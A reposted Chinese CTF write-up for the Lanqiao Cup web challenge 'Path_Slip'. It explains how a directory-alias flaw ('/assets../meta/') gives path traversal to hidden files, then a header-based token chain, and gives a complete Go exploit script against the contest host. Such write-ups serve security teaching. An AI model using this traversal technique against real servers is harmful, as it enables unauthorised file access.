文章总结: 该文档记录了蓝桥杯CTF题目Path_Slip的完整解题过程。作者通过发现服务器目录别名配置缺陷实现路径穿越,利用Cookie和响应头参数动态计算文件名,最终通过构建HEAD请求、交换凭证、字符串交织算法等步骤形成利用链,成功获取flag。文档提供了可复现的Go语言利用脚本。 综合评分: 85 文章分类: CTF,WEB安全,漏洞分析,实战经验,安全工具
蓝桥杯-Path_Slip
原创
Mystery Mystery
小M安全
2026年4月26日 12:18 河南
在小说阅读器读本章
去阅读
操作内容
进入题目后,页面显示为一个公开的静态资源路径/assets/readme.txt。
访问/assets/readme.txt后,我拿到了第一组关键提示。提示要求保留sid Cookie,并指出如果能从/assets“横向移动”一步,就可以从/meta/index.txt 开始。
尝试常规的路径穿越(如/assets/../meta/index.txt)均返回 404,但根据题目关于“目录映射问题”的提示,我测试发现访问/assets../meta/index.txt可以成功读取内容。这证实了服务器在目录别名配置上存在缺陷,允许通过 /assets..跨越到同级的/meta/目录
在 /meta/index.txt 中,我发现了 5 个标签(labels)以及文件名的计算公式 。公式中需要的 frame-space 和 frame-window 参数,我通过观察静态资源的响应头 X-Mirror-Rail 成功获取:space=cards;window=6:18
根据公式:name = sha256(sid|label|cards).hexdigest()[6:18] + “.txt”,我为每个标签计算了唯一的动态文件名,并成功读取了卡片内容。
构建利用链
:
对/oracle发送HEAD 请求(即“quiet verb”),并携带请求头X-Knock: hush,以此从响应头中交换到 X-Trace 凭证
将X-Trace的前 8 位进行两两交换(pair-swap)得到slot;同时通过卡片中的字符串交织算法得出盐值 slip_route_v3
首先访问/stage/{slot}/pose 并在响应头中截获 X-Ticket-Hint;最后带着这个Hint冲击/vault/{slot}/pass目标
构造脚本:package main import ( "crypto/sha256" "crypto/tls" "encoding/hex" "fmt" "io" "net/http" "net/http/cookiejar" "regexp" "strconv") const BASE = "https://eci-2ze7twsu489m878xc7ur.cloudeci1.ichunqiu.com:80" func main() { jar, _ := cookiejar.New(nil) client := &http.Client{ Jar: jar, Transport: &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, }, } _, err := client.Get(BASE + "/") if err != nil { panic(err) } resp, _ := client.Get(BASE + "/assets/readme.txt") rail := resp.Header.Get("X-Mirror-Rail") re := regexp.MustCompile(`space=([^;]+);window=(\d+):(\d+)`) matches := re.FindStringSubmatch(rail) space := matches[1] start, _ := strconv.Atoi(matches[2]) end, _ := strconv.Atoi(matches[3]) var sid string for _, cookie := range jar.Cookies(resp.Request.URL) { if cookie.Name == "sid" { sid = cookie.Value } } labels := []string{"knock", "dance", "salt", "route", "echo"} for _, label := range labels { data := fmt.Sprintf("%s|%s|%s", sid, label, space) hash := sha256.Sum256([]byte(data)) name := hex.EncodeToString(hash[:])[start:end] + ".txt" client.Get(BASE + "/assets../meta/" + name) } req, _ := http.NewRequest("HEAD", BASE+"/oracle", nil) req.Header.Set("X-Knock", "hush") oracleResp, _ := client.Do(req) trace := oracleResp.Header.Get("X-Trace") tBytes := []byte(trace) for i := 0; i < 8; i += 2 { tBytes[i], tBytes[i+1] = tBytes[i+1], tBytes[i] } slot := string(tBytes[:8]) tokenRaw := fmt.Sprintf("%s.%s.slip_route_v3", sid, trace) tokenHash := sha256.Sum256([]byte(tokenRaw)) token := hex.EncodeToString(tokenHash[:])[:16] stageURL := fmt.Sprintf("%s/stage/%s/pose?token=%s", BASE, slot, token) stageResp, _ := client.Get(stageURL) hint := stageResp.Header.Get("X-Ticket-Hint") vaultURL := fmt.Sprintf("%s/vault/%s/pass?token=%s", BASE, slot, token) finalReq, _ := http.NewRequest("GET", vaultURL, nil) finalReq.Header.Set("X-Ticket-Hint", hint) finalResp, _ := client.Do(finalReq) flag, _ := io.ReadAll(finalResp.Body) fmt.Printf("%s", string(flag))}
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:小M安全 Mystery Mystery《蓝桥杯-Path_Slip》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论